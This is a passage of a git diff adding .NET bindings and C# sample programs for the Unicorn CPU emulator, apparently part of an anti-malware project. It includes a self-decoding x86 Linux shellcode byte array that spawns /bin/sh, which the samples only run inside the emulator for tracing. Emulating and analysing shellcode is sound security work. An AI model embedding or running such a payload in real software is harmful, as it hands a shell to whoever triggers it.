binding.HookAddNoarg(_eng.[0], hh, Common.UC_HOOK_CODE, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 beginAddr, uint64 endAddr) |> this.CheckResult with + | Some e -> raise e | None -> () + + _codeHooks.Add(callback, userData) + + member this.AddCodeHook(callback: CodeHook, beginAddr: Int64, endAddr: Int64) = + this.AddCodeHook(callback, null, beginAddr, endAddr) + + member this.HookDel(callback: CodeHook) = + hookDel _codeHooks callback + + member this.AddBlockHook(callback: BlockHook, userData: Object, beginAddr: Int64, endAddr: Int64) = + let trampoline(u: IntPtr) (addr: Int64) (size: Int32) (user: IntPtr) = + _blockHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, addr, size, userData)) + + if _blockHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new BlockHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddNoarg(_eng.[0], hh, Common.UC_HOOK_BLOCK, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 beginAddr, uint64 endAddr) |> this.CheckResult with + | Some e -> raise e | None -> () + + _blockHooks.Add(callback, userData) + + member this.HookDel(callback: BlockHook) = + hookDel _blockHooks callback + + member this.AddInterruptHook(callback: InterruptHook, userData: Object, hookBegin: UInt64, hookEnd : UInt64) = + let trampoline(u: IntPtr) (intNumber: Int32) (user: IntPtr) = + _interruptHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, intNumber, userData)) + + if _interruptHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new InterruptHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddNoarg(_eng.[0], hh, Common.UC_HOOK_INTR, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, hookBegin, hookEnd) |> this.CheckResult with + | Some e -> raise e | None -> () + + _interruptHooks.Add(callback, userData) + + member this.AddInterruptHook(callback: InterruptHook) = + this.AddInterruptHook(callback, null, uint64 1, uint64 0) + + member this.HookDel(callback: InterruptHook) = + hookDel _interruptHooks callback + + member this.AddMemReadHook(callback: MemReadHook, userData: Object, beginAddr: Int64, endAddr: Int64) = + let trampoline(u: IntPtr) (addr: Int64) (size: Int32) (user: IntPtr) = + _memReadHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, addr, size, userData)) + + if _memReadHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new MemReadHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddNoarg(_eng.[0], hh, Common.UC_HOOK_MEM_READ, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 beginAddr, uint64 endAddr) |> this.CheckResult with + | Some e -> raise e | None -> () + + _memReadHooks.Add(callback, userData) + + member this.HookDel(callback: MemReadHook) = + hookDel _memReadHooks callback + + member this.AddMemWriteHook(callback: MemWriteHook, userData: Object, beginAddr: Int64, endAddr: Int64) = + let trampoline(u: IntPtr) (addr: Int64) (size: Int32) (value: Int64) (user: IntPtr) = + _memWriteHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, addr, size, value, userData)) + + if _memWriteHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new MemWriteHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddNoarg(_eng.[0], hh, Common.UC_HOOK_MEM_WRITE, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 beginAddr, uint64 endAddr) |> this.CheckResult with + | Some e -> raise e | None -> () + + _memWriteHooks.Add(callback, userData) + + member this.HookDel(callback: MemWriteHook) = + hookDel _memWriteHooks callback + + member this.AddEventMemHook(callback: EventMemHook, eventType: Int32, userData: Object) = + let trampoline(u: IntPtr) (eventType: Int32) (addr: Int64) (size: Int32) (value: Int64) (user: IntPtr) = + _memEventHooks.Keys + |> Seq.filter(fun eventFlag -> (eventType &&& eventFlag) <> 0) + |> Seq.map(fun eventflag -> _memEventHooks.[eventflag]) + |> Seq.concat + |> Seq.map(fun (callback, userData) -> callback.Invoke(this, eventType, addr, size, value, userData)) + |> Seq.forall id + + // register the event if not already done + _memEventHooks.Keys + |> Seq.filter(fun eventFlag -> (eventType &&& eventFlag) <> 0) + |> Seq.filter(fun eventFlag -> _memEventHooks.[eventFlag] |> Seq.isEmpty) + |> Seq.iter(fun eventFlag -> + let funcPointer = Marshal.GetFunctionPointerForDelegate(new EventMemHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddNoarg(_eng.[0], hh, eventFlag, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 0, uint64 0) |> this.CheckResult with + | Some e -> raise e | None -> () + ) + + // register the callbacks + _memEventHooks.Keys + |> Seq.filter(fun eventFlag -> (eventType &&& eventFlag) <> 0) + |> Seq.iter(fun eventFlag -> _memEventHooks.[eventFlag].Add((callback, userData))) + + member this.AddEventMemHook(callback: EventMemHook, eventType: Int32) = + this.AddEventMemHook(callback, eventType, null) + + member this.HookDel(callback: EventMemHook) = + let callbacks = (_memEventHooks.Values |> Seq.concat).ToList() + hookDel callbacks callback + + member this.AddInHook(callback: InHook, userData: Object) = + let trampoline(u: IntPtr) (port: Int32) (size: Int32) (user: IntPtr) = + _inHooks + |> Seq.map(fun (callback, userData) -> callback.Invoke(this, port, size, userData)) + |> Seq.last + + if _inHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new InHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddArg0(_eng.[0], hh, Common.UC_HOOK_INSN, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 0, uint64 0, X86.UC_X86_INS_IN) |> this.CheckResult with + | Some e -> raise e | None -> () + + _inHooks.Add(callback, userData) + + member this.AddInHook(callback: InHook) = + this.AddInHook(callback, null) + + member this.AddOutHook(callback: OutHook, userData: Object) = + let trampoline(u: IntPtr) (port: Int32) (size: Int32) (value: Int32) (user: IntPtr) = + _outHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, port, size, value, userData)) + + if _outHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new OutHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddArg0(_eng.[0], hh, Common.UC_HOOK_INSN, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 0, uint64 0, X86.UC_X86_INS_OUT) |> this.CheckResult with + | Some e -> raise e | None -> () + + _outHooks.Add(callback, userData) + + member this.AddOutHook(callback: OutHook) = + this.AddOutHook(callback, null) + + member this.AddSyscallHook(callback: SyscallHook, userData: Object) = + let trampoline(u: IntPtr) (user: IntPtr) = + _syscallHooks + |> Seq.iter(fun (callback, userData) -> callback.Invoke(this, userData)) + + if _syscallHooks |> Seq.isEmpty then + let funcPointer = Marshal.GetFunctionPointerForDelegate(new SyscallHookInternal(trampoline)) + let hh = new UIntPtr(allocate(IntPtr.Size)) + match binding.HookAddArg0(_eng.[0], hh, Common.UC_HOOK_INSN, new UIntPtr(funcPointer.ToPointer()), IntPtr.Zero, uint64 0, uint64 0, X86.UC_X86_INS_SYSCALL) |> this.CheckResult with + | Some e -> raise e | None -> () + + _syscallHooks.Add(callback, userData) + + member this.AddSyscallHook(callback: SyscallHook) = + this.AddSyscallHook(callback, null) + + member this.Version() = + let (major, minor) = (new UIntPtr(), new UIntPtr()) + let combined = binding.Version(major, minor) + (major.ToUInt32(), minor.ToUInt32(), combined) + + abstract Dispose : Boolean -> unit + default this.Dispose(disposing: Boolean) = + if (disposing) then + // free managed resources, this is the default dispose implementation pattern + () + + _disposablePointers + |> Seq.filter(fun pointer -> pointer <> IntPtr.Zero) + |> Seq.iter Marshal.FreeHGlobal + _disposablePointers.Clear() + + member this.Dispose() = + this.Dispose(true) + GC.SuppressFinalize(this) + + override this.Finalize() = + this.Dispose(false) + + interface IDisposable with + member this.Dispose() = + this.Dispose() \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornEngineException.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornEngineException.fs new file mode 100644 index 0000000..fd58255 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornEngineException.fs @@ -0,0 +1,9 @@ +namespace UnicornManaged + +open System + +type UnicornEngineException(errNo: Int32, msg: String) = + inherit ApplicationException(msg) + + member this.ErrorNo = errNo + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornManaged.fsproj b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornManaged.fsproj new file mode 100644 index 0000000..e10cd73 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornManaged.fsproj @@ -0,0 +1,87 @@ + + + + + Debug + AnyCPU + 2.0 + 0c21f1c1-2725-4a46-9022-1905f85822a5 + Library + UnicornManaged + UnicornManaged + v4.5 + 4.3.1.0 + true + UnicornManaged + + + + true + full + false + false + bin\Debug\ + DEBUG;TRACE + 3 + bin\Debug\UnicornManaged.XML + + + pdbonly + true + true + bin\Release\ + TRACE + 3 + bin\Release\UnicornManaged.XML + + + + + True + + + + + + + + + + + + + + + + + + + + + + + + + 11 + + + + + $(MSBuildExtensionsPath32)\..\Microsoft SDKs\F#\3.0\Framework\v4.0\Microsoft.FSharp.Targets + + + + + $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\FSharp\Microsoft.FSharp.Targets + + + + + + \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/App.config b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/App.config new file mode 100644 index 0000000..d1428ad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Program.cs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Program.cs new file mode 100644 index 0000000..41cfb19 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Program.cs @@ -0,0 +1,23 @@ +using System; + +namespace UnicornSamples +{ + class Program + { + static void Main(string[] args) + { + // X86 tests 32bit + X86Sample32.X86Code32(); + X86Sample32.X86Code32InvalidMemRead(); + X86Sample32.X86Code32InvalidMemWriteWithRuntimeFix(); + X86Sample32.X86Code32InOut(); + + // Run all shellcode tests + ShellcodeSample.X86Code32Self(); + ShellcodeSample.X86Code32(); + + Console.Write("Tests completed"); + Console.ReadLine(); + } + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Properties/AssemblyInfo.cs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..aacf2f8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("UnicornSamples")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("UnicornSamples")] +[assembly: AssemblyCopyright("Copyright © Antonio Parata 2016")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("b80b5987-1e24-4309-8bf9-c4f91270f21c")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/ShellcodeSample.cs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/ShellcodeSample.cs new file mode 100644 index 0000000..be654d6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/ShellcodeSample.cs @@ -0,0 +1,195 @@ +using Gee.External.Capstone; +using Gee.External.Capstone.X86; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using UnicornManaged; +using UnicornManaged.Const; + +namespace UnicornSamples +{ + internal class ShellcodeSample + { + private const Int64 ADDRESS = 0x1000000; + + public static void X86Code32Self() + { + Byte[] X86_CODE32_SELF = + { + 0xeb, 0x1c, 0x5a, 0x89, 0xd6, 0x8b, 0x02, 0x66, 0x3d, 0xca, 0x7d, 0x75, 0x06, 0x66, 0x05, 0x03, 0x03, + 0x89, 0x02, 0xfe, 0xc2, 0x3d, 0x41, 0x41, 0x41, 0x41, 0x75, 0xe9, 0xff, 0xe6, 0xe8, 0xdf, 0xff, 0xff, + 0xff, 0x31, 0xd2, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, + 0x6e, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xca, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 + }; + + Run(X86_CODE32_SELF); + } + + public static void X86Code32() + { + Byte[] X86_CODE32 = + { + 0xeb, 0x19, 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xd2, 0x31, 0xc9, 0xb0, 0x04, 0xb3, 0x01, 0x59, 0xb2, 0x05, + 0xcd, 0x80, 0x31, 0xc0, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80, 0xe8, 0xe2, 0xff, 0xff, 0xff, 0x68, 0x65, + 0x6c, 0x6c, 0x6f + }; + + Run(X86_CODE32); + } + + private static void Run(Byte[] code) + { + Console.WriteLine(); + var stackTrace = new StackTrace(); + var stackFrame = stackTrace.GetFrames()[1]; + var methodName = stackFrame.GetMethod().Name; + + Console.WriteLine("*** Start: " + methodName); + RunTest(code, ADDRESS); + Console.WriteLine("*** End: " + methodName); + Console.WriteLine(); + } + + + private static void RunTest(Byte[] code, Int64 address) + { + try + { + using (var u = new Unicorn(Common.UC_ARCH_X86, Common.UC_MODE_32)) + using(var disassembler = CapstoneDisassembler.CreateX86Disassembler(DisassembleMode.Bit32)) + { + Console.WriteLine("Unicorn version: {0}", u.Version()); + + // map 2MB of memory for this emulation + u.MemMap(address, 2 * 1024 * 1024, Common.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.MemWrite(address, code); + + // initialize machine registers + u.RegWrite(X86.UC_X86_REG_ESP, Utils.Int64ToBytes(address + 0x200000)); + + var regv = new Byte[4]; + u.RegRead(X86.UC_X86_REG_ESP, regv); + + // tracing all instructions by having @begin > @end + u.AddCodeHook((uc, addr, size, userData) => CodeHookCallback(disassembler, uc, addr, size, userData), 1, 0); + + // handle interrupt ourself + u.AddInterruptHook(InterruptHookCallback); + + // handle SYSCALL + u.AddSyscallHook(SyscallHookCallback); + + Console.WriteLine(">>> Start tracing code"); + + // emulate machine code in infinite time + u.EmuStart(address, address + code.Length, 0u, 0u); + + Console.WriteLine(">>> Emulation Done!"); + } + } + catch (UnicornEngineException ex) + { + Console.Error.WriteLine("Emulation FAILED! " + ex.Message); + } + } + + private static void CodeHookCallback( + CapstoneDisassembler disassembler, + Unicorn u, + Int64 addr, + Int32 size, + Object userData) + { + Console.Write("[+] 0x{0}: ", addr.ToString("X")); + + var eipBuffer = new Byte[4]; + u.RegRead(X86.UC_X86_REG_EIP, eipBuffer); + + var effectiveSize = Math.Min(16, size); + var tmp = new Byte[effectiveSize]; + u.MemRead(addr, tmp); + + var sb = new StringBuilder(); + foreach (var t in tmp) + { + sb.AppendFormat("{0} ", (0xFF & t).ToString("X")); + } + Console.Write("{0,-20}", sb); + Console.WriteLine(Utils.Disassemble(disassembler, tmp)); + } + + private static void SyscallHookCallback(Unicorn u, Object userData) + { + var eaxBuffer = new Byte[4]; + u.RegRead(X86.UC_X86_REG_EAX, eaxBuffer); + var eax = Utils.ToInt(eaxBuffer); + + Console.WriteLine("[!] Syscall EAX = 0x{0}", eax.ToString("X")); + + u.EmuStop(); + } + + private static void InterruptHookCallback(Unicorn u, Int32 intNumber, Object userData) + { + // only handle Linux syscall + if (intNumber != 0x80) + { + return; + } + + var eaxBuffer = new Byte[4]; + var eipBuffer = new Byte[4]; + + u.RegRead(X86.UC_X86_REG_EAX, eaxBuffer); + u.RegRead(X86.UC_X86_REG_EIP, eipBuffer); + + var eax = Utils.ToInt(eaxBuffer); + var eip = Utils.ToInt(eipBuffer); + + switch (eax) + { + default: + Console.WriteLine("[!] Interrupt 0x{0} num {1}, EAX=0x{2}", eip.ToString("X"), intNumber.ToString("X"), eax.ToString("X")); + break; + case 1: // sys_exit + Console.WriteLine("[!] Interrupt 0x{0} num {1}, SYS_EXIT", eip.ToString("X"), intNumber.ToString("X")); + u.EmuStop(); + break; + case 4: // sys_write + + // ECX = buffer address + var ecxBuffer = new Byte[4]; + + // EDX = buffer size + var edxBuffer = new Byte[4]; + + u.RegRead(X86.UC_X86_REG_ECX, ecxBuffer); + u.RegRead(X86.UC_X86_REG_EDX, edxBuffer); + + var ecx = Utils.ToInt(ecxBuffer); + var edx = Utils.ToInt(edxBuffer); + + // read the buffer in + var size = Math.Min(256, edx); + var buffer = new Byte[size]; + u.MemRead(ecx, buffer); + var content = Encoding.Default.GetString(buffer); + + Console.WriteLine( + "[!] Interrupt 0x{0}: num {1}, SYS_WRITE. buffer = 0x{2}, size = , content = '{3}'", + eip.ToString("X"), + ecx.ToString("X"), + edx.ToString("X"), + content); + + break; + } + } + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/UnicornSamples.csproj b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/UnicornSamples.csproj new file mode 100644 index 0000000..3a087b0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/UnicornSamples.csproj @@ -0,0 +1,108 @@ + + + + + Debug + AnyCPU + {B80B5987-1E24-4309-8BF9-C4F91270F21C} + Exe + Properties + UnicornSamples + UnicornSamples + v4.5 + 512 + true + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + x86 + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\packages\Gee.External.Capstone.1.2.2\lib\net45\Gee.External.Capstone.dll + True + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.5 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + {0c21f1c1-2725-4a46-9022-1905f85822a5} + UnicornManaged + + + + + + + + + \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Utils.cs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Utils.cs new file mode 100644 index 0000000..1f4d287 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Utils.cs @@ -0,0 +1,47 @@ +using Gee.External.Capstone; +using Gee.External.Capstone.X86; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace UnicornSamples +{ + internal static class Utils + { + public static Int64 ToInt(Byte[] val) + { + UInt64 res = 0; + for (var i = 0; i < val.Length; i++) + { + var v = val[i] & 0xFF; + res += (UInt64)(v << (i * 8)); + } + return (Int64)res; + } + + public static Byte[] Int64ToBytes(Int64 intVal) + { + var res = new Byte[8]; + var uval = (UInt64)intVal; + for (var i = 0; i < res.Length; i++) + { + res[i] = (Byte)(uval & 0xff); + uval = uval >> 8; + } + return res; + } + + public static String Disassemble(CapstoneDisassembler disassembler, Byte[] code) + { + var sb = new StringBuilder(); + var instructions = disassembler.DisassembleAll(code); + foreach (var instruction in instructions) + { + sb.AppendFormat("{0} {1}{2}", instruction.Mnemonic, instruction.Operand, Environment.NewLine); + } + return sb.ToString().Trim(); + } + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/X86Sample32.cs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/X86Sample32.cs new file mode 100644 index 0000000..6bcd830 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/X86Sample32.cs @@ -0,0 +1,328 @@ +using Gee.External.Capstone; +using Gee.External.Capstone.X86; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using UnicornManaged; +using UnicornManaged.Const; + +namespace UnicornSamples +{ + internal class X86Sample32 + { + private const Int64 ADDRESS = 0x1000000; + + public static void X86Code32() + { + Byte[] X86_CODE32 = + { + // INC ecx; DEC edx + 0x41, 0x4a + }; + Run(X86_CODE32); + } + + public static void X86Code32InvalidMemRead() + { + Byte[] X86_CODE32_MEM_READ = + { + // mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx + 0x8B, 0x0D, 0xAA, 0xAA, 0xAA, 0xAA, 0x41, 0x4a + }; + Run(X86_CODE32_MEM_READ); + } + + public static void X86Code32InvalidMemWriteWithRuntimeFix() + { + Byte[] X86_CODE32_MEM_WRITE = + { + // mov [0xaaaaaaaa], ecx; INC ecx; DEC edx + 0x89, 0x0D, 0xAA, 0xAA, 0xAA, 0xAA, 0x41, 0x4a + }; + Run(X86_CODE32_MEM_WRITE); + } + + public static void X86Code32InOut() + { + Byte[] X86_CODE32_INOUT = + { + // INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx + 0x41, 0xE4, 0x3F, 0x4a, 0xE6, 0x46, 0x43 + }; + Run(X86_CODE32_INOUT); + } + + + private static void Run(Byte[] code, Boolean raiseException = false) + { + Console.WriteLine(); + var stackTrace = new StackTrace(); + var stackFrame = stackTrace.GetFrames()[1]; + var methodName = stackFrame.GetMethod().Name; + + Console.WriteLine("*** Start: " + methodName); + Exception e = null; + try + { + RunTest(code, ADDRESS, Common.UC_MODE_32); + } + catch (UnicornEngineException ex) + { + e = ex; + } + + if (!raiseException && e != null) + { + Console.Error.WriteLine("Emulation FAILED! " + e.Message); + } + + Console.WriteLine("*** End: " + methodName); + Console.WriteLine(); + } + + private static void RunTest(Byte[] code, Int64 address, Int32 mode) + { + using (var u = new Unicorn(Common.UC_ARCH_X86, mode)) + using (var disassembler = CapstoneDisassembler.CreateX86Disassembler(DisassembleMode.Bit32)) + { + Console.WriteLine("Unicorn version: {0}", u.Version()); + + // map 2MB of memory for this emulation + u.MemMap(address, 2 * 1024 * 1024, Common.UC_PROT_ALL); + + // initialize machine registers + u.RegWrite(X86.UC_X86_REG_EAX, 0x1234); + u.RegWrite(X86.UC_X86_REG_ECX, 0x1234); + u.RegWrite(X86.UC_X86_REG_EDX, 0x7890); + + // write machine code to be emulated to memory + u.MemWrite(address, code); + + // initialize machine registers + u.RegWrite(X86.UC_X86_REG_ESP, Utils.Int64ToBytes(address + 0x200000)); + + // handle IN & OUT instruction + u.AddInHook(InHookCallback); + u.AddOutHook(OutHookCallback); + + // tracing all instructions by having @begin > @end + u.AddCodeHook((uc, addr, size, userData) => CodeHookCallback(disassembler, uc, addr, size, userData), 1, 0); + + // handle interrupt ourself + u.AddInterruptHook(InterruptHookCallback); + + // handle SYSCALL + u.AddSyscallHook(SyscallHookCallback); + + // intercept invalid memory events + u.AddEventMemHook(MemMapHookCallback, Common.UC_HOOK_MEM_READ_UNMAPPED | Common.UC_HOOK_MEM_WRITE_UNMAPPED); + + Console.WriteLine(">>> Start tracing code"); + + // emulate machine code in infinite time + u.EmuStart(address, address + code.Length, 0u, 0u); + + // print registers + var ecx = u.RegRead(X86.UC_X86_REG_ECX); + var edx = u.RegRead(X86.UC_X86_REG_EDX); + var eax = u.RegRead(X86.UC_X86_REG_EAX); + Console.WriteLine("[!] EAX = {0}", eax.ToString("X")); + Console.WriteLine("[!] ECX = {0}", ecx.ToString("X")); + Console.WriteLine("[!] EDX = {0}", edx.ToString("X")); + + Console.WriteLine(">>> Emulation Done!"); + } + } + + private static Int32 InHookCallback(Unicorn u, Int32 port, Int32 size, Object userData) + { + var eip = u.RegRead(X86.UC_X86_REG_EIP); + Console.WriteLine("[!] Reading from port 0x{0}, size: {1}, address: 0x{2}", port.ToString("X"), size.ToString("X"), eip.ToString("X")); + var res = 0; + switch (size) + { + case 1: + // read 1 byte to AL + res = 0xf1; + break; + case 2: + // read 2 byte to AX + res = 0xf2; + break; + case 4: + // read 4 byte to EAX + res = 0xf4; + break; + } + + Console.WriteLine("[!] Return value: {0}", res.ToString("X")); + return res; + } + + private static void OutHookCallback(Unicorn u, Int32 port, Int32 size, Int32 value, Object userData) + { + var eip = u.RegRead(X86.UC_X86_REG_EIP); + Console.WriteLine("[!] Writing to port 0x{0}, size: {1}, value: 0x{2}, address: 0x{3}", port.ToString("X"), size.ToString("X"), value.ToString("X"), eip.ToString("X")); + + // confirm that value is indeed the value of AL/ AX / EAX + var v = 0L; + var regName = String.Empty; + switch (size) + { + case 1: + // read 1 byte in AL + v = u.RegRead(X86.UC_X86_REG_AL); + regName = "AL"; + break; + case 2: + // read 2 byte in AX + v = u.RegRead(X86.UC_X86_REG_AX); + regName = "AX"; + break; + case 4: + // read 4 byte in EAX + v = u.RegRead(X86.UC_X86_REG_EAX); + regName = "EAX"; + break; + } + + Console.WriteLine("[!] Register {0}: {1}", regName, v.ToString("X")); + } + + private static Boolean MemMapHookCallback(Unicorn u, Int32 eventType, Int64 address, Int32 size, Int64 value, Object userData) + { + if (eventType == Common.UC_MEM_WRITE_UNMAPPED) + { + Console.WriteLine("[!] Missing memory is being WRITE at 0x{0}, data size = {1}, data value = 0x{2}. Map memory.", address.ToString("X"), size.ToString("X"), value.ToString("X")); + u.MemMap(0xaaaa0000, 2 * 1024 * 1024, Common.UC_PROT_ALL); + return true; + } + else + { + return false; + } + } + + private static void CodeHookCallback1( + CapstoneDisassembler disassembler, + Unicorn u, + Int64 addr, + Int32 size, + Object userData) + { + Console.Write("[+] 0x{0}: ", addr.ToString("X")); + + var eipBuffer = new Byte[4]; + u.RegRead(X86.UC_X86_REG_EIP, eipBuffer); + + var effectiveSize = Math.Min(16, size); + var tmp = new Byte[effectiveSize]; + u.MemRead(addr, tmp); + + var sb = new StringBuilder(); + foreach (var t in tmp) + { + sb.AppendFormat("{0} ", (0xFF & t).ToString("X")); + } + Console.Write("{0,-20}", sb); + Console.WriteLine(Utils.Disassemble(disassembler, tmp)); + } + + private static void CodeHookCallback( + CapstoneDisassembler disassembler, + Unicorn u, + Int64 addr, + Int32 size, + Object userData) + { + Console.Write("[+] 0x{0}: ", addr.ToString("X")); + + var eipBuffer = new Byte[4]; + u.RegRead(X86.UC_X86_REG_EIP, eipBuffer); + + var effectiveSize = Math.Min(16, size); + var tmp = new Byte[effectiveSize]; + u.MemRead(addr, tmp); + + var sb = new StringBuilder(); + foreach (var t in tmp) + { + sb.AppendFormat("{0} ", (0xFF & t).ToString("X")); + } + Console.Write("{0,-20}", sb); + Console.WriteLine(Utils.Disassemble(disassembler, tmp)); + } + + private static void SyscallHookCallback(Unicorn u, Object userData) + { + var eaxBuffer = new Byte[4]; + u.RegRead(X86.UC_X86_REG_EAX, eaxBuffer); + var eax = Utils.ToInt(eaxBuffer); + + Console.WriteLine("[!] Syscall EAX = 0x{0}", eax.ToString("X")); + + u.EmuStop(); + } + + private static void InterruptHookCallback(Unicorn u, Int32 intNumber, Object userData) + { + // only handle Linux syscall + if (intNumber != 0x80) + { + return; + } + + var eaxBuffer = new Byte[4]; + var eipBuffer = new Byte[4]; + + u.RegRead(X86.UC_X86_REG_EAX, eaxBuffer); + u.RegRead(X86.UC_X86_REG_EIP, eipBuffer); + + var eax = Utils.ToInt(eaxBuffer); + var eip = Utils.ToInt(eipBuffer); + + switch (eax) + { + default: + Console.WriteLine("[!] Interrupt 0x{0} num {1}, EAX=0x{2}", eip.ToString("X"), intNumber.ToString("X"), eax.ToString("X")); + break; + case 1: // sys_exit + Console.WriteLine("[!] Interrupt 0x{0} num {1}, SYS_EXIT", eip.ToString("X"), intNumber.ToString("X")); + u.EmuStop(); + break; + case 4: // sys_write + + // ECX = buffer address + var ecxBuffer = new Byte[4]; + + // EDX = buffer size + var edxBuffer = new Byte[4]; + + u.RegRead(X86.UC_X86_REG_ECX, ecxBuffer); + u.RegRead(X86.UC_X86_REG_EDX, edxBuffer); + + var ecx = Utils.ToInt(ecxBuffer); + var edx = Utils.ToInt(edxBuffer); + + // read the buffer in + var size = Math.Min(256, edx); + var buffer = new Byte[size]; + u.MemRead(ecx, buffer); + var content = Encoding.Default.GetString(buffer); + + 